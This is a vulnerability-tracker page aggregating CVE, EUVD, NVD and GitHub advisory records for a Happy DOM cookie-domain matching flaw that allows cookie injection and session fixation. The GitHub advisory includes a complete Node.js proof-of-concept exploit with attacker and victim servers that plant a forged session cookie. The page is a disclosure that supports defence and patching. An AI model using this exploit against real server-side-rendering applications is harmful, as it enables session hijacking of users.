Happy DOM: Cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies
Collected exploitation and prediction evidence
Risk source coverageCISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.
No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.
cve-program · CVE-2026-118661
PublishedHappy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 20.14.6, Happy DOM's CookieContainer in src/cookie/CookieContainer.ts does not correctly validate or match Domain cookie attributes. It can accept a Domain unrelated to the origin setting the cookie, including a public suffix, and separately treats an unrelated suffix-sharing hostname as a match because cookieMatchesURL does not enforce a DNS-label boundary. In server-side rendering and prerendering applications that contact attacker-controlled origins and then make requests to a victim origin, these behaviors can plant and deliver a forged cookie, enabling cookie injection or session fixation. This issue is fixed in version 20.14.6.
- Source published
- 28 Oct 2026 20:30:23 UTC
- Source modified
- 3 Nov 2026 13:33:35 UTC
- Observed here
- 3 Nov 2026 14:57:17 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
euvd · EUVD-2026-112468
PublishedHappy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 20.14.6, Happy DOM's CookieContainer in src/cookie/CookieContainer.ts does not correctly validate or match Domain cookie attributes. It can accept a Domain unrelated to the origin setting the cookie, including a public suffix, and separately treats an unrelated suffix-sharing hostname as a match because cookieMatchesURL does not enforce a DNS-label boundary. In server-side rendering and prerendering applications that contact attacker-controlled origins and then make requests to a victim origin, these behaviors can plant and deliver a forged cookie, enabling cookie injection or session fixation. This issue is fixed in version 20.14.6.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Oct 28, 2026, 8:30:23 PM
dateUpdated: Nov 3, 2026, 1:33:35 PM
- Source published
- Oct 28, 2026, 8:30:23 PM (timezone not stated)
- Source modified
- Nov 3, 2026, 1:33:35 PM (timezone not stated)
- Observed here
- 6 Nov 2026 00:45:18 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.
EUVD CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
nvd · CVE-2026-118661
PublishedHappy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 20.14.6, Happy DOM's CookieContainer in src/cookie/CookieContainer.ts does not correctly validate or match Domain cookie attributes. It can accept a Domain unrelated to the origin setting the cookie, including a public suffix, and separately treats an unrelated suffix-sharing hostname as a match because cookieMatchesURL does not enforce a DNS-label boundary. In server-side rendering and prerendering applications that contact attacker-controlled origins and then make requests to a victim origin, these behaviors can plant and deliver a forged cookie, enabling cookie injection or session fixation. This issue is fixed in version 20.14.6.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Awaiting Analysis
Weakness classifications: CWE-565
Original publisher date fields
published: 2026-10-28T21:16:56.267
lastModified: 2026-11-03T14:17:31.910
- Source published
- 28 Oct 2026 21:16:56 UTC
- Source modified
- 3 Nov 2026 14:17:31 UTC
- Observed here
- 3 Nov 2026 23:58:59 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · [email protected] · Secondary · 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
osv · GHSA-5fpq-26gf-qwcr
Published### Summary A cookie-scoping bug in happy-dom lets an attacker origin set cookies that a victim origin then receives, diverging from browser semantics. ### Details happy-dom matches Domain=example.com against notexample.com (endsWith without a DNS-label boundary), diverging from browser semantics (verified 20.11.6 npm latest: cookieMatchesURL(Domain=example.com, url=http://notexample.com) = true). Relevant where happy-dom is used for SSR/prerender cookie handling. Matching in src/cookie/CookieContainer.ts. ### PoC Run: ```bash node poc-happydom-cookie-domain.js ``` Full proof-of-concept source (poc-happydom-cookie-domain.js): ```js // PoC: happy-dom cookie-domain scoping gap -> cross-origin cookie injection / session fixation // Chain: app (window at http://localhost:PORT2) fetches attacker server (http://127.0.0.1:PORT1) // -> attacker Set-Cookie with Domain=localhost (a host that is NOT a suffix of 127.0.0.1) // -> happy-dom stores it (a real browser rejects: RFC 6265 §5.3.6-7 + PSL) // -> app's same-origin fetch to http://localhost:PORT2/api/account carries the forged cookie // Run: cd C:/Users/rncb0/AppData/Local/Temp/0day && node poc/poc-happydom-cookie-domain.js const http = require('http'); const { Window } = require('happy-dom'); const ATK_PORT = 19311; // attacker server, 127.0.0.1 const VIC_PORT = 19312; // victim server, localhost let victimReceivedCookies = []; let attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=localhost; Path=/; SameSite=None; Secure`; const attacker = http.createServer((req, res) => { if (req.method === 'OPTIONS') { // CORS preflight (happy-dom enforces same-origin policy with a preflight; the // attacker trivially answers it — an attacker-controlled server always can) res.writeHead(204, { 'Access-Control-Allow-Origin': '*', 'Access-Control-Allow-Methods': 'GET, OPTIONS', 'Access-Control-Allow-Headers': '*' }); res.end(); return; } res.writeHead(200, { 'content-type': 'image/gif', 'Access-Control-Allow-Origin': '*', // Attacker claims Domain=localhost even though it is serving from 127.0.0.1. // A browser MUST ignore this cookie (RFC 6265: domain-attribute not a domain-match of // the request-host; localhost is also on the Mozilla PSL). 'Set-Cookie': attackerSetCookie }); res.end('GIF89a'); }); const victim = http.createServer((req, res) => { victimReceivedCookies.push({ path: req.url, cookie: req.headers['cookie'] || null }); res.writeHead(200, { 'content-type': 'application/json' }); res.end(JSON.stringify({ ok: true, user: 'alice' })); }); function sleep(ms) { return new Promise((r) => setTimeout(r, ms)); } async function runScenario(scenario) { victimReceivedCookies = []; const win = new Window({ url: `http://localhost:${VIC_PORT}/`, settings: { enableJavaScriptEvaluation: true, suppressInsecureJavaScriptEnvironmentWarning: true } }); try { if (scenario === 'no-plant-control') { // Control: app NEVER contacts attacker -> victim must receive NO cookie await win.fetch(`http://localhost:${VIC_PORT}/api/account`); } else if (scenario === 'honest-domain-control') { // Control: attacker sets Domain=127.0.0.1 (its own host, honest) // -> cookie must NOT leak to localhost victim attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=127.0.0.1; Path=/; SameSite=None; Secure`; await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`); await win.fetch(`http://localhost:${VIC_PORT}/api/account`); } else { // attack: app fetches attacker content (scraping/SSR/third-party resource) await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`); await win.fetch(`http://localhost:${VIC_PORT}/api/account`); } await sleep(150); return victimReceivedCookies; } finally { win.happyDOM.abort(); } } async function main() { await new Promise((r) => attacker.listen(ATK_PORT, '127.0.0.1', r)); await new Promise((r) => victim.listen(VIC_PORT, 'localhost', r)); console.log('=== happy-dom cookie-domain scoping PoC ===\n'); const attack = await runScenario('attack'); console.log('[ATTACK] app fetched attacker (127.0.0.1) then victim (localhost)'); attack.forEach((e) => console.log(` victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`)); const forged = attack.some((e) => e.cookie && e.cookie.includes('session=FORGED_BY_ATTACKER')); console.log(` -> forged cookie delivered to victim: ${forged ? 'YES (VULNERABLE)' : 'no'}`); const noPlant = await runScenario('no-plant-control'); console.log('\n[CONTROL] app never contacts attacker'); noPlant.forEach((e) => console.log(` victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`)); const honest = await runScenario('honest-domain-control'); console.log('\n[CONTROL] attacker sets honest Domain=127.0.0.1 only'); honest.forEach((e) => console.log(` victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`)); // unit proof: document.cookie setter also accepts non-suffix domains (browser rejects) const win2 = new Window({ url: `http://localhost:${VIC_PORT}/`, settings: { enableJavaScriptEvaluation: true, suppressInsecureJavaScriptEnvironmentWarning: true } }); win2.document.cookie = `admin=1; Domain=com; Path=/`; // PSL public suffix! const readBack = win2.document.cookie; console.log(`\n[UNIT] document.cookie = 'admin=1; Domain=com' -> read back: '${readBack}'`); console.log(` -> browser: REJECTED (public suffix); happy-dom: ${readBack.includes('admin=1') ? 'ACCEPTED' : 'rejected'}`); win2.happyDOM.abort(); // unit proof: endsWith boundary bug (SameSite=None cookie -> sent to any host ending with the domain) const { default: CookieURLUtility } = require('happy-dom/lib/cookie/urilities/CookieURLUtility.js'); const matchesBoundary = CookieURLUtility.cookieMatchesURL( { key: 'k', value: 'v', originURL: new URL('http://attacker.example/'), domain: 'example.com', path: '/', secure: true, sameSite: 'None' }, new URL('https://notexample.com/') ); console.log(`\n[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = ${matchesBoundary}`); console.log(` -> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match`); attacker.close(); victim.close(); process.exit(0); } main().catch((e) => { console.error(e); process.exit(1); }); ``` Observed output (verbatim, Node 24.15.0, Windows): ``` [UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = true -> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match ``` ### Impact Cookie-scoping divergence / session forgery . Applications using happy-dom for SSR/prerender cookie handling can accept cookies from wrong origins. Affects happy-dom <= 20.14.5. Note: main pushback will be that happy-dom is a test DOM — state the SSR use case.
- Source published
- 28 Oct 2026 21:06:13 UTC
- Source modified
- 28 Oct 2026 21:15:05 UTC
- Observed here
- 28 Oct 2026 21:55:29 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Publisher rating · MODERATE